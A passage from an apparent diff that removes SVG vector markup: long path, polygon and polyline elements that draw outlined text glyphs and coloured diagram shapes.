327.77759,260.528325 L327.77759,263.090825 L327.77759,263.090825 Z M331.910402,253.668935 L331.910402,251.637685 L334.097902,251.637685 L334.097902,253.668935 L331.910402,253.668935 Z M331.910402,263.090825 L331.910402,254.793935 L334.097902,254.793935 L334.097902,263.090825 L331.910402,263.090825 Z M343.59009,257.247075 L341.418215,257.6377 C341.345298,257.2002 341.178632,256.872075 340.918215,256.653325 C340.668215,256.434575 340.334882,256.3252 339.918215,256.3252 C339.376548,256.3252 338.939048,256.517908 338.605715,256.903325 C338.282798,257.278325 338.12134,257.908533 338.12134,258.79395 C338.12134,259.773117 338.288007,260.465825 338.62134,260.872075 C338.954673,261.278325 339.397382,261.48145 339.949465,261.48145 C340.366132,261.48145 340.704673,261.366867 340.96509,261.1377 C341.235923,260.898117 341.428632,260.486658 341.543215,259.903325 L343.699465,260.278325 C343.470298,261.267908 343.038007,262.017908 342.40259,262.528325 C341.767173,263.028325 340.918215,263.278325 339.855715,263.278325 C338.636965,263.278325 337.668215,262.898117 336.949465,262.1377 C336.230715,261.366867 335.87134,260.304367 335.87134,258.9502 C335.87134,257.5752 336.230715,256.507487 336.949465,255.74706 C337.678632,254.986643 338.657798,254.606435 339.886965,254.606435 C340.897382,254.606435 341.699465,254.825185 342.293215,255.262685 C342.897382,255.689768 343.329673,256.351231 343.59009,257.247075 Z M347.441652,251.637685 L347.441652,255.84081 C348.149986,255.017893 348.993736,254.606435 349.972902,254.606435 C350.483319,254.606435 350.941652,254.700185 351.347902,254.887685 C351.754152,255.075185 352.056236,255.314768 352.254152,255.606435 C352.462486,255.898112 352.603111,256.221033 352.676027,256.5752 C352.759361,256.929367 352.801027,257.476242 352.801027,258.215825 L352.801027,263.090825 L350.597902,263.090825 L350.597902,258.7002 C350.597902,257.835617 350.556236,257.288742 350.472902,257.059575 C350.389569,256.819992 350.243736,256.632492 350.035402,256.497075 C349.827069,256.351242 349.561444,256.278325 349.238527,256.278325 C348.873944,256.278325 348.545819,256.366867 348.254152,256.54395 C347.972902,256.721033 347.764569,256.991867 347.629152,257.35645 C347.504152,257.710617 347.441652,258.236658 347.441652,258.934575 L347.441652,263.090825 L345.238527,263.090825 L345.238527,251.637685 L347.441652,251.637685 L347.441652,251.637685 Z" id="Shape" fill="#0097A7" fill-rule="nonzero"></path>
-                <path d="M294.87915,301.09082 L294.87915,289.637695 L296.2854,289.637695 L296.2854,301.09082 L294.87915,301.09082 Z M297.933837,296.93457 C297.933837,295.40332 298.360921,294.267903 299.215087,293.52832 C299.933837,292.913737 300.803629,292.606445 301.824462,292.606445 C302.970296,292.606445 303.902587,292.981445 304.621337,293.731445 C305.350504,294.471028 305.715087,295.502278 305.715087,296.825195 C305.715087,297.887695 305.553629,298.726237 305.230712,299.34082 C304.907796,299.955403 304.439046,300.43457 303.824462,300.77832 C303.220296,301.111653 302.553629,301.27832 301.824462,301.27832 C300.668212,301.27832 299.730712,300.908528 299.011962,300.168945 C298.293212,299.418945 297.933837,298.34082 297.933837,296.93457 Z M299.386962,296.93457 C299.386962,297.99707 299.616129,298.793945 300.074462,299.325195 C300.543212,299.856445 301.126546,300.12207 301.824462,300.12207 C302.522379,300.12207 303.100504,299.856445 303.558837,299.325195 C304.027587,298.793945 304.261962,297.981445 304.261962,296.887695 C304.261962,295.866862 304.027587,295.09082 303.558837,294.55957 C303.100504,294.02832 302.522379,293.762695 301.824462,293.762695 C301.126546,293.762695 300.543212,294.02832 300.074462,294.55957 C299.616129,295.080403 299.386962,295.87207 299.386962,296.93457 Z M308.894775,301.09082 L306.3479,292.793945 L307.801025,292.793945 L309.12915,297.575195 L309.613525,299.356445 C309.634358,299.273112 309.780192,298.705403 310.051025,297.65332 L311.363525,292.793945 L312.81665,292.793945 L314.051025,297.606445 L314.4729,299.18457 L314.94165,297.59082 L316.363525,292.793945 L317.738525,292.793945 L315.144775,301.09082 L313.676025,301.09082 L312.363525,296.12207 L312.0354,294.700195 L310.363525,301.09082 L308.894775,301.09082 Z M324.590087,298.418945 L326.043212,298.59082 C325.814046,299.444987 325.386962,300.106445 324.761962,300.575195 C324.147379,301.043945 323.360921,301.27832 322.402587,301.27832 C321.183837,301.27832 320.220296,300.90332 319.511962,300.15332 C318.803629,299.40332 318.449462,298.356445 318.449462,297.012695 C318.449462,295.616862 318.808837,294.533528 319.527587,293.762695 C320.246337,292.991862 321.178629,292.606445 322.324462,292.606445 C323.428629,292.606445 324.329671,292.986653 325.027587,293.74707 C325.735921,294.49707 326.090087,295.554362 326.090087,296.918945 C326.090087,297.002278 326.090087,297.127278 326.090087,297.293945 L319.902587,297.293945 C319.954671,298.210612 320.209879,298.913737 320.668212,299.40332 C321.136962,299.882487 321.715087,300.12207 322.402587,300.12207 C322.923421,300.12207 323.366129,299.986653 323.730712,299.71582 C324.095296,299.444987 324.381754,299.012695 324.590087,298.418945 Z M319.980712,296.137695 L324.605712,296.137695 C324.543212,295.439778 324.366129,294.918945 324.074462,294.575195 C323.626546,294.033528 323.048421,293.762695 322.340087,293.762695 C321.694254,293.762695 321.147379,293.981445 320.699462,294.418945 C320.261962,294.846028 320.022379,295.418945 319.980712,296.137695 Z M327.801025,301.09082 L327.801025,292.793945 L329.06665,292.793945 L329.06665,294.043945 C329.389567,293.460612 329.686442,293.075195 329.957275,292.887695 C330.228108,292.700195 330.530192,292.606445 330.863525,292.606445 C331.332275,292.606445 331.811442,292.757487 332.301025,293.05957 L331.81665,294.356445 C331.4729,294.158528 331.12915,294.05957 330.7854,294.05957 C330.483317,294.05957 330.207275,294.15332 329.957275,294.34082 C329.717692,294.517903 329.545817,294.773112 329.44165,295.106445 C329.2854,295.606445 329.207275,296.15332 329.207275,296.74707 L329.207275,301.09082 L327.801025,301.09082 Z M338.551025,298.043945 L339.94165,298.231445 C339.7854,299.179362 339.394775,299.924153 338.769775,300.46582 C338.155192,301.007487 337.394775,301.27832 336.488525,301.27832 C335.353108,301.27832 334.436442,300.908528 333.738525,300.168945 C333.051025,299.418945 332.707275,298.351237 332.707275,296.96582 C332.707275,296.069987 332.853108,295.288737 333.144775,294.62207 C333.446858,293.944987 333.899983,293.439778 334.50415,293.106445 C335.118733,292.773112 335.780192,292.606445 336.488525,292.606445 C337.394775,292.606445 338.134358,292.835612 338.707275,293.293945 C339.280192,293.741862 339.644775,294.387695 339.801025,295.231445 L338.44165,295.43457 C338.306233,294.882487 338.071858,294.46582 337.738525,294.18457 C337.415608,293.90332 337.019775,293.762695 336.551025,293.762695 C335.842692,293.762695 335.264567,294.017903 334.81665,294.52832 C334.37915,295.02832 334.1604,295.830403 334.1604,296.93457 C334.1604,298.049153 334.373942,298.861653 334.801025,299.37207 C335.228108,299.87207 335.7854,300.12207 336.4729,300.12207 C337.024983,300.12207 337.483317,299.955403 337.8479,299.62207 C338.2229,299.27832 338.457275,298.752278 338.551025,298.043945 Z M346.551025,300.05957 C346.030192,300.507487 345.530192,300.825195 345.051025,301.012695 C344.571858,301.189778 344.056233,301.27832 343.50415,301.27832 C342.587483,301.27832 341.884358,301.054362 341.394775,300.606445 C340.905192,300.158528 340.6604,299.59082 340.6604,298.90332 C340.6604,298.49707 340.75415,298.127278 340.94165,297.793945 C341.12915,297.450195 341.368733,297.179362 341.6604,296.981445 C341.962483,296.773112 342.301025,296.616862 342.676025,296.512695 C342.957275,296.439778 343.373942,296.37207 343.926025,296.30957 C345.061442,296.174153 345.899983,296.012695 346.44165,295.825195 C346.44165,295.627278 346.44165,295.502278 346.44165,295.450195 C346.44165,294.877278 346.311442,294.476237 346.051025,294.24707 C345.686442,293.924153 345.149983,293.762695 344.44165,293.762695 C343.7854,293.762695 343.295817,293.882487 342.9729,294.12207 C342.6604,294.351237 342.431233,294.757487 342.2854,295.34082 L340.9104,295.15332 C341.0354,294.569987 341.238525,294.096028 341.519775,293.731445 C341.811442,293.366862 342.228108,293.09082 342.769775,292.90332 C343.311442,292.705403 343.936442,292.606445 344.644775,292.606445 C345.353108,292.606445 345.926025,292.689778 346.363525,292.856445 C346.811442,293.023112 347.139567,293.231445 347.3479,293.481445 C347.556233,293.731445 347.702067,294.049153 347.7854,294.43457 C347.837483,294.674153 347.863525,295.106445 347.863525,295.731445 L347.863525,297.606445 C347.863525,298.918945 347.889567,299.74707 347.94165,300.09082 C348.00415,300.43457 348.123942,300.767903 348.301025,301.09082 L346.832275,301.09082 C346.686442,300.799153 346.592692,300.455403 346.551025,300.05957 Z M346.44165,296.918945 C345.931233,297.127278 345.165608,297.304362 344.144775,297.450195 C343.561442,297.533528 343.149983,297.627278 342.9104,297.731445 C342.670817,297.835612 342.483317,297.991862 342.3479,298.200195 C342.2229,298.398112 342.1604,298.616862 342.1604,298.856445 C342.1604,299.231445 342.301025,299.543945 342.582275,299.793945 C342.873942,300.043945 343.290608,300.168945 343.832275,300.168945 C344.373942,300.168945 344.853108,300.054362 345.269775,299.825195 C345.696858,299.585612 346.009358,299.257487 346.207275,298.84082 C346.363525,298.52832 346.44165,298.05957 346.44165,297.43457 L346.44165,296.918945 Z M349.480712,298.606445 L350.871337,298.387695 C350.944254,298.950195 351.157796,299.382487 351.511962,299.68457 C351.876546,299.976237 352.376546,300.12207 353.011962,300.12207 C353.657796,300.12207 354.136962,299.991862 354.449462,299.731445 C354.761962,299.460612 354.918212,299.148112 354.918212,298.793945 C354.918212,298.481445 354.782796,298.231445 354.511962,298.043945 C354.314046,297.918945 353.834879,297.762695 353.074462,297.575195 C352.043212,297.314778 351.324462,297.09082 350.918212,296.90332 C350.522379,296.705403 350.220296,296.439778 350.011962,296.106445 C349.814046,295.773112 349.715087,295.40332 349.715087,294.99707 C349.715087,294.62207 349.798421,294.27832 349.965087,293.96582 C350.131754,293.65332 350.360921,293.392903 350.652587,293.18457 C350.871337,293.017903 351.168212,292.882487 351.543212,292.77832 C351.928629,292.663737 352.334879,292.606445 352.761962,292.606445 C353.418212,292.606445 353.991129,292.700195 354.480712,292.887695 C354.970296,293.075195 355.329671,293.330403 355.558837,293.65332 C355.798421,293.96582 355.965087,294.392903 356.058837,294.93457 L354.683837,295.12207 C354.621337,294.694987 354.439046,294.361653 354.136962,294.12207 C353.834879,293.882487 353.413004,293.762695 352.871337,293.762695 C352.225504,293.762695 351.761962,293.87207 351.480712,294.09082 C351.209879,294.299153 351.074462,294.543945 351.074462,294.825195 C351.074462,295.012695 351.131754,295.179362 351.246337,295.325195 C351.360921,295.471028 351.538004,295.596028 351.777587,295.700195 C351.923421,295.752278 352.340087,295.87207 353.027587,296.05957 C354.017171,296.319987 354.709879,296.538737 355.105712,296.71582 C355.501546,296.882487 355.808837,297.127278 356.027587,297.450195 C356.256754,297.773112 356.371337,298.174153 356.371337,298.65332 C356.371337,299.12207 356.230712,299.564778 355.949462,299.981445 C355.678629,300.387695 355.282796,300.705403 354.761962,300.93457 C354.251546,301.163737 353.673421,301.27832 353.027587,301.27832 C351.944254,301.27832 351.121337,301.054362 350.558837,300.606445 C349.996337,300.158528 349.636962,299.491862 349.480712,298.606445 Z M363.715087,298.418945 L365.168212,298.59082 C364.939046,299.444987 364.511962,300.106445 363.886962,300.575195 C363.272379,301.043945 362.485921,301.27832 361.527587,301.27832 C360.308837,301.27832 359.345296,300.90332 358.636962,300.15332 C357.928629,299.40332 357.574462,298.356445 357.574462,297.012695 C357.574462,295.616862 357.933837,294.533528 358.652587,293.762695 C359.371337,292.991862 360.303629,292.606445 361.449462,292.606445 C362.553629,292.606445 363.454671,292.986653 364.152587,293.74707 C364.860921,294.49707 365.215087,295.554362 365.215087,296.918945 C365.215087,297.002278 365.215087,297.127278 365.215087,297.293945 L359.027587,297.293945 C359.079671,298.210612 359.334879,298.913737 359.793212,299.40332 C360.261962,299.882487 360.840087,300.12207 361.527587,300.12207 C362.048421,300.12207 362.491129,299.986653 362.855712,299.71582 C363.220296,299.444987 363.506754,299.012695 363.715087,298.418945 Z M359.105712,296.137695 L363.730712,296.137695 C363.668212,295.439778 363.491129,294.918945 363.199462,294.575195 C362.751546,294.033528 362.173421,293.762695 361.465087,293.762695 C360.819254,293.762695 360.272379,293.981445 359.824462,294.418945 C359.386962,294.846028 359.147379,295.418945 359.105712,296.137695 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#3D99D7" points="278.4777 28.217848 381.24934 28.217848 381.24934 105.514128 365.789715 120.973753 278.477705 120.973753"></polygon>
-                <polygon id="Path" fill="#307AAB" points="365.7897 120.973755 368.881649 108.606049 381.249325 105.51413"></polygon>
-                <polyline id="Path" fill-opacity="0" fill="#000000" points="365.7897 120.973755 368.881649 108.606049 381.249325 105.51413 365.7897 120.973755 278.47769 120.973755 278.47769 28.21785 381.24933 28.21785 381.24933 105.51413"></polyline>
-                <path d="M298.9104,53.382236 L298.9104,51.772861 L300.31665,51.772861 L300.31665,53.382236 L298.9104,53.382236 Z M298.9104,63.225986 L298.9104,54.929111 L300.31665,54.929111 L300.31665,63.225986 L298.9104,63.225986 Z M302.465087,63.225986 L302.465087,54.929111 L303.730712,54.929111 L303.730712,56.100986 C304.334879,55.194736 305.215087,54.741611 306.371337,54.741611 C306.871337,54.741611 307.329671,54.8301527 307.746337,55.007236 C308.163004,55.1843193 308.475504,55.4186943 308.683837,55.710361 C308.892171,56.0020277 309.038004,56.350986 309.121337,56.757236 C309.173421,57.0176527 309.199462,57.4707777 309.199462,58.116611 L309.199462,63.225986 L307.793212,63.225986 L307.793212,58.179111 C307.793212,57.6061943 307.735921,57.179111 307.621337,56.897861 C307.517171,56.6061943 307.324462,56.3770277 307.043212,56.210361 C306.772379,56.0436943 306.449462,55.960361 306.074462,55.960361 C305.470296,55.960361 304.949462,56.1530693 304.511962,56.538486 C304.084879,56.913486 303.871337,57.632236 303.871337,58.694736 L303.871337,63.225986 L302.465087,63.225986 Z M316.769775,60.179111 L318.1604,60.366611 C318.00415,61.3145277 317.613525,62.0593193 316.988525,62.600986 C316.373942,63.1426527 315.613525,63.413486 314.707275,63.413486 C313.571858,63.413486 312.655192,63.0436943 311.957275,62.304111 C311.269775,61.554111 310.926025,60.4864027 310.926025,59.100986 C310.926025,58.2051527 311.071858,57.4239027 311.363525,56.757236 C311.665608,56.0801527 312.118733,55.5749443 312.7229,55.241611 C313.337483,54.9082777 313.998942,54.741611 314.707275,54.741611 C315.613525,54.741611 316.353108,54.9707777 316.926025,55.429111 C317.498942,55.8770277 317.863525,56.522861 318.019775,57.366611 L316.6604,57.569736 C316.524983,57.0176527 316.290608,56.600986 315.957275,56.319736 C315.634358,56.038486 315.238525,55.897861 314.769775,55.897861 C314.061442,55.897861 313.483317,56.1530693 313.0354,56.663486 C312.5979,57.163486 312.37915,57.9655693 312.37915,59.069736 C312.37915,60.1843193 312.592692,60.9968193 313.019775,61.507236 C313.446858,62.007236 314.00415,62.257236 314.69165,62.257236 C315.243733,62.257236 315.702067,62.0905693 316.06665,61.757236 C316.44165,61.413486 316.676025,60.8874443 316.769775,60.179111 Z M318.832275,59.069736 C318.832275,57.538486 319.259358,56.4030693 320.113525,55.663486 C320.832275,55.0489027 321.702067,54.741611 322.7229,54.741611 C323.868733,54.741611 324.801025,55.116611 325.519775,55.866611 C326.248942,56.6061943 326.613525,57.6374443 326.613525,58.960361 C326.613525,60.022861 326.452067,60.8614027 326.12915,61.475986 C325.806233,62.0905693 325.337483,62.569736 324.7229,62.913486 C324.118733,63.2468193 323.452067,63.413486 322.7229,63.413486 C321.56665,63.413486 320.62915,63.0436943 319.9104,62.304111 C319.19165,61.554111 318.832275,60.475986 318.832275,59.069736 Z M320.2854,59.069736 C320.2854,60.132236 320.514567,60.929111 320.9729,61.460361 C321.44165,61.991611 322.024983,62.257236 322.7229,62.257236 C323.420817,62.257236 323.998942,61.991611 324.457275,61.460361 C324.926025,60.929111 325.1604,60.116611 325.1604,59.022861 C325.1604,58.0020277 324.926025,57.225986 324.457275,56.694736 C323.998942,56.163486 323.420817,55.897861 322.7229,55.897861 C322.024983,55.897861 321.44165,56.163486 320.9729,56.694736 C320.514567,57.2155693 320.2854,58.007236 320.2854,59.069736 Z M328.261962,63.225986 L328.261962,54.929111 L329.511962,54.929111 L329.511962,56.085361 C329.772379,55.679111 330.116129,55.3561943 330.543212,55.116611 C330.980712,54.866611 331.475504,54.741611 332.027587,54.741611 C332.642171,54.741611 333.147379,54.8718193 333.543212,55.132236 C333.939046,55.382236 334.215087,55.7364027 334.371337,56.194736 C335.027587,55.225986 335.881754,54.741611 336.933837,54.741611 C337.756754,54.741611 338.386962,54.9707777 338.824462,55.429111 C339.272379,55.8770277 339.496337,56.5749443 339.496337,57.522861 L339.496337,63.225986 L338.105712,63.225986 L338.105712,57.991611 C338.105712,57.429111 338.058837,57.0280693 337.965087,56.788486 C337.871337,56.538486 337.704671,56.3405693 337.465087,56.194736 C337.225504,56.038486 336.944254,55.960361 336.621337,55.960361 C336.038004,55.960361 335.553629,56.1530693 335.168212,56.538486 C334.782796,56.9239027 334.590087,57.5436943 334.590087,58.397861 L334.590087,63.225986 L333.183837,63.225986 L333.183837,57.835361 C333.183837,57.210361 333.069254,56.741611 332.840087,56.429111 C332.610921,56.116611 332.235921,55.960361 331.715087,55.960361 C331.319254,55.960361 330.954671,56.0645277 330.621337,56.272861 C330.288004,56.4811943 330.043212,56.788486 329.886962,57.194736 C329.741129,57.5905693 329.668212,58.163486 329.668212,58.913486 L329.668212,63.225986 L328.261962,63.225986 Z M341.590087,53.382236 L341.590087,51.772861 L342.996337,51.772861 L342.996337,53.382236 L341.590087,53.382236 Z M341.590087,63.225986 L341.590087,54.929111 L342.996337,54.929111 L342.996337,63.225986 L341.590087,63.225986 Z M345.144775,63.225986 L345.144775,54.929111 L346.4104,54.929111 L346.4104,56.100986 C347.014567,55.194736 347.894775,54.741611 349.051025,54.741611 C349.551025,54.741611 350.009358,54.8301527 350.426025,55.007236 C350.842692,55.1843193 351.155192,55.4186943 351.363525,55.710361 C351.571858,56.0020277 351.717692,56.350986 351.801025,56.757236 C351.853108,57.0176527 351.87915,57.4707777 351.87915,58.116611 L351.87915,63.225986 L350.4729,63.225986 L350.4729,58.179111 C350.4729,57.6061943 350.415608,57.179111 350.301025,56.897861 C350.196858,56.6061943 350.00415,56.3770277 349.7229,56.210361 C349.452067,56.0436943 349.12915,55.960361 348.75415,55.960361 C348.149983,55.960361 347.62915,56.1530693 347.19165,56.538486 C346.764567,56.913486 346.551025,57.632236 346.551025,58.694736 L346.551025,63.225986 L345.144775,63.225986 Z M353.777587,63.913486 L355.152587,64.1166148 C355.204671,64.5436981 355.360921,64.8509898 355.621337,65.0384898 C355.975504,65.2989065 356.454671,65.4291148 357.058837,65.4291148 C357.704671,65.4291148 358.204671,65.2989065 358.558837,65.0384898 C358.913004,64.7780731 359.152587,64.4134885 359.277587,63.944736 C359.350504,63.663486 359.386962,63.0593193 359.386962,62.132236 C358.772379,62.8614027 358.006754,63.225986 357.090087,63.225986 C355.944254,63.225986 355.058837,62.8145277 354.433837,61.991611 C353.808837,61.1686943 353.496337,60.179111 353.496337,59.022861 C353.496337,58.2311943 353.636962,57.5020277 353.918212,56.835361 C354.209879,56.1686943 354.626546,55.6530693 355.168212,55.288486 C355.720296,54.9239027 356.360921,54.741611 357.090087,54.741611 C358.069254,54.741611 358.876546,55.1374443 359.511962,55.929111 L359.511962,54.929111 L360.808837,54.929111 L360.808837,62.100986 C360.808837,63.3926552 360.678629,64.3093231 360.418212,64.8509898 C360.157796,65.3926565 359.741129,65.8197398 359.168212,66.1322398 C358.595296,66.4447398 357.892171,66.6009898 357.058837,66.6009898 C356.069254,66.6009898 355.267171,66.3770315 354.652587,65.9291148 C354.048421,65.4811981 353.756754,64.8093219 353.777587,63.913486 L353.777587,63.913486 Z M354.949462,58.929111 C354.949462,60.0124443 355.163004,60.804111 355.590087,61.304111 C356.027587,61.804111 356.569254,62.054111 357.215087,62.054111 C357.860921,62.054111 358.402587,61.8093193 358.840087,61.319736 C359.277587,60.819736 359.496337,60.038486 359.496337,58.975986 C359.496337,57.9551527 359.272379,57.1895277 358.824462,56.679111 C358.376546,56.1582777 357.834879,55.897861 357.199462,55.897861 C356.574462,55.897861 356.043212,56.1530693 355.605712,56.663486 C355.168212,57.1739027 354.949462,57.929111 354.949462,58.929111 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M297.1682,82.22599 L297.1682,81.179115 C296.647367,82.0020317 295.876533,82.41349 294.8557,82.41349 C294.189033,82.41349 293.579658,82.2311983 293.027575,81.866615 C292.475492,81.5020317 292.0432,80.991615 291.7307,80.335365 C291.428617,79.679115 291.277575,78.929115 291.277575,78.085365 C291.277575,77.2520317 291.412992,76.5020317 291.683825,75.835365 C291.965075,75.1582817 292.381742,74.6426567 292.933825,74.28849 C293.485908,73.9239067 294.1057,73.741615 294.7932,73.741615 C295.2932,73.741615 295.735908,73.8457817 296.121325,74.054115 C296.517158,74.2624483 296.834867,74.53849 297.07445,74.88224 L297.07445,70.772865 L298.4807,70.772865 L298.4807,82.22599 L297.1682,82.22599 Z M292.7307,78.085365 C292.7307,79.147865 292.954658,79.94474 293.402575,80.47599 C293.850492,80.9968233 294.376533,81.25724 294.9807,81.25724 C295.595283,81.25724 296.116117,81.00724 296.5432,80.50724 C296.9807,79.9968233 297.19945,79.22599 297.19945,78.19474 C297.19945,77.0593233 296.9807,76.22599 296.5432,75.69474 C296.1057,75.16349 295.564033,74.897865 294.9182,74.897865 C294.2932,74.897865 293.772367,75.1530733 293.3557,75.66349 C292.939033,76.1739067 292.7307,76.9811983 292.7307,78.085365 Z M300.160388,78.06974 C300.160388,76.53849 300.587471,75.4030733 301.441638,74.66349 C302.160388,74.0489067 303.030179,73.741615 304.051013,73.741615 C305.196846,73.741615 306.129138,74.116615 306.847888,74.866615 C307.577054,75.6061983 307.941638,76.6374483 307.941638,77.960365 C307.941638,79.022865 307.780179,79.8614067 307.457263,80.47599 C307.134346,81.0905733 306.665596,81.56974 306.051013,81.91349 C305.446846,82.2468233 304.780179,82.41349 304.051013,82.41349 C302.894763,82.41349 301.957263,82.0436983 301.238513,81.304115 C300.519763,80.554115 300.160388,79.47599 300.160388,78.06974 Z M301.613513,78.06974 C301.613513,79.13224 301.842679,79.929115 302.301013,80.460365 C302.769763,80.991615 303.353096,81.25724 304.051013,81.25724 C304.748929,81.25724 305.327054,80.991615 305.785388,80.460365 C306.254138,79.929115 306.488513,79.116615 306.488513,78.022865 C306.488513,77.0020317 306.254138,76.22599 305.785388,75.69474 C305.327054,75.16349 304.748929,74.897865 304.051013,74.897865 C303.353096,74.897865 302.769763,75.16349 302.301013,75.69474 C301.842679,76.2155733 301.613513,77.00724 301.613513,78.06974 Z M314.996325,79.179115 L316.38695,79.366615 C316.2307,80.3145317 315.840075,81.0593233 315.215075,81.60099 C314.600492,82.1426567 313.840075,82.41349 312.933825,82.41349 C311.798408,82.41349 310.881742,82.0436983 310.183825,81.304115 C309.496325,80.554115 309.152575,79.4864067 309.152575,78.10099 C309.152575,77.2051567 309.298408,76.4239067 309.590075,75.75724 C309.892158,75.0801567 310.345283,74.5749483 310.94945,74.241615 C311.564033,73.9082817 312.225492,73.741615 312.933825,73.741615 C313.840075,73.741615 314.579658,73.9707817 315.152575,74.429115 C315.725492,74.8770317 316.090075,75.522865 316.246325,76.366615 L314.88695,76.56974 C314.751533,76.0176567 314.517158,75.60099 314.183825,75.31974 C313.860908,75.03849 313.465075,74.897865 312.996325,74.897865 C312.287992,74.897865 311.709867,75.1530733 311.26195,75.66349 C310.82445,76.16349 310.6057,76.9655733 310.6057,78.06974 C310.6057,79.1843233 310.819242,79.9968233 311.246325,80.50724 C311.673408,81.00724 312.2307,81.25724 312.9182,81.25724 C313.470283,81.25724 313.928617,81.0905733 314.2932,80.75724 C314.6682,80.41349 314.902575,79.8874483 314.996325,79.179115 Z M323.027575,82.22599 L323.027575,81.00724 C322.381742,81.94474 321.501533,82.41349 320.38695,82.41349 C319.897367,82.41349 319.439033,82.31974 319.01195,82.13224 C318.595283,81.94474 318.282783,81.710365 318.07445,81.429115 C317.866117,81.1374483 317.720283,80.78849 317.63695,80.38224 C317.584867,80.10099 317.558825,79.66349 317.558825,79.06974 L317.558825,73.929115 L318.965075,73.929115 L318.965075,78.522865 C318.965075,79.2624483 318.991117,79.75724 319.0432,80.00724 C319.13695,80.38224 319.32445,80.6739067 319.6057,80.88224 C319.897367,81.0905733 320.251533,81.19474 320.6682,81.19474 C321.095283,81.19474 321.491117,81.0905733 321.8557,80.88224 C322.2307,80.66349 322.491117,80.366615 322.63695,79.991615 C322.7932,79.616615 322.871325,79.0749483 322.871325,78.366615 L322.871325,73.929115 L324.277575,73.929115 L324.277575,82.22599 L323.027575,82.22599 Z M326.488513,82.22599 L326.488513,73.929115 L327.738513,73.929115 L327.738513,75.085365 C327.998929,74.679115 328.342679,74.3561983 328.769763,74.116615 C329.207263,73.866615 329.702054,73.741615 330.254138,73.741615 C330.868721,73.741615 331.373929,73.8718233 331.769763,74.13224 C332.165596,74.38224 332.441638,74.7364067 332.597888,75.19474 C333.254138,74.22599 334.108304,73.741615 335.160388,73.741615 C335.983304,73.741615 336.613513,73.9707817 337.051013,74.429115 C337.498929,74.8770317 337.722888,75.5749483 337.722888,76.522865 L337.722888,82.22599 L336.332263,82.22599 L336.332263,76.991615 C336.332263,76.429115 336.285388,76.0280733 336.191638,75.78849 C336.097888,75.53849 335.931221,75.3405733 335.691638,75.19474 C335.452054,75.03849 335.170804,74.960365 334.847888,74.960365 C334.264554,74.960365 333.780179,75.1530733 333.394763,75.53849 C333.009346,75.9239067 332.816638,76.5436983 332.816638,77.397865 L332.816638,82.22599 L331.410388,82.22599 L331.410388,76.835365 C331.410388,76.210365 331.295804,75.741615 331.066638,75.429115 C330.837471,75.116615 330.462471,74.960365 329.941638,74.960365 C329.545804,74.960365 329.181221,75.0645317 328.847888,75.272865 C328.514554,75.4811983 328.269763,75.78849 328.113513,76.19474 C327.967679,76.5905733 327.894763,77.16349 327.894763,77.91349 L327.894763,82.22599 L326.488513,82.22599 Z M345.488513,79.554115 L346.941638,79.72599 C346.712471,80.5801567 346.285388,81.241615 345.660388,81.710365 C345.045804,82.179115 344.259346,82.41349 343.301013,82.41349 C342.082263,82.41349 341.118721,82.03849 340.410388,81.28849 C339.702054,80.53849 339.347888,79.491615 339.347888,78.147865 C339.347888,76.7520317 339.707263,75.6686983 340.426013,74.897865 C341.144763,74.1270317 342.077054,73.741615 343.222888,73.741615 C344.327054,73.741615 345.228096,74.1218233 345.926013,74.88224 C346.634346,75.63224 346.988513,76.6895317 346.988513,78.054115 C346.988513,78.1374483 346.988513,78.2624483 346.988513,78.429115 L340.801013,78.429115 C340.853096,79.3457817 341.108304,80.0489067 341.566638,80.53849 C342.035388,81.0176567 342.613513,81.25724 343.301013,81.25724 C343.821846,81.25724 344.264554,81.1218233 344.629138,80.85099 C344.993721,80.5801567 345.280179,80.147865 345.488513,79.554115 Z M340.879138,77.272865 L345.504138,77.272865 C345.441638,76.5749483 345.264554,76.054115 344.972888,75.710365 C344.524971,75.1686983 343.946846,74.897865 343.238513,74.897865 C342.592679,74.897865 342.045804,75.116615 341.597888,75.554115 C341.160388,75.9811983 340.920804,76.554115 340.879138,77.272865 Z M348.715075,82.22599 L348.715075,73.929115 L349.9807,73.929115 L349.9807,75.10099 C350.584867,74.19474 351.465075,73.741615 352.621325,73.741615 C353.121325,73.741615 353.579658,73.8301567 353.996325,74.00724 C354.412992,74.1843233 354.725492,74.4186983 354.933825,74.710365 C355.142158,75.0020317 355.287992,75.35099 355.371325,75.75724 C355.423408,76.0176567 355.44945,76.4707817 355.44945,77.116615 L355.44945,82.22599 L354.0432,82.22599 L354.0432,77.179115 C354.0432,76.6061983 353.985908,76.179115 353.871325,75.897865 C353.767158,75.6061983 353.57445,75.3770317 353.2932,75.210365 C353.022367,75.0436983 352.69945,74.960365 352.32445,74.960365 C351.720283,74.960365 351.19945,75.1530733 350.76195,75.53849 C350.334867,75.91349 350.121325,76.63224 350.121325,77.69474 L350.121325,82.22599 L348.715075,82.22599 Z M360.676013,80.960365 L360.879138,82.210365 C360.483304,82.2936983 360.129138,82.335365 359.816638,82.335365 C359.306221,82.335365 358.910388,82.25724 358.629138,82.10099 C358.347888,81.9343233 358.149971,81.7207817 358.035388,81.460365 C357.920804,81.1895317 357.863513,80.63224 357.863513,79.78849 L357.863513,75.022865 L356.832263,75.022865 L356.832263,73.929115 L357.863513,73.929115 L357.863513,71.866615 L359.269763,71.022865 L359.269763,73.929115 L360.676013,73.929115 L360.676013,75.022865 L359.269763,75.022865 L359.269763,79.866615 C359.269763,80.272865 359.290596,80.5332817 359.332263,80.647865 C359.384346,80.7624483 359.467679,80.8561983 359.582263,80.929115 C359.696846,80.991615 359.858304,81.022865 360.066638,81.022865 C360.222888,81.022865 360.426013,81.0020317 360.676013,80.960365 Z M361.496325,79.741615 L362.88695,79.522865 C362.959867,80.085365 363.173408,80.5176567 363.527575,80.81974 C363.892158,81.1114067 364.392158,81.25724 365.027575,81.25724 C365.673408,81.25724 366.152575,81.1270317 366.465075,80.866615 C366.777575,80.5957817 366.933825,80.2832817 366.933825,79.929115 C366.933825,79.616615 366.798408,79.366615 366.527575,79.179115 C366.329658,79.054115 365.850492,78.897865 365.090075,78.710365 C364.058825,78.4499483 363.340075,78.22599 362.933825,78.03849 C362.537992,77.8405733 362.235908,77.5749483 362.027575,77.241615 C361.829658,76.9082817 361.7307,76.53849 361.7307,76.13224 C361.7307,75.75724 361.814033,75.41349 361.9807,75.10099 C362.147367,74.78849 362.376533,74.5280733 362.6682,74.31974 C362.88695,74.1530733 363.183825,74.0176567 363.558825,73.91349 C363.944242,73.7989067 364.350492,73.741615 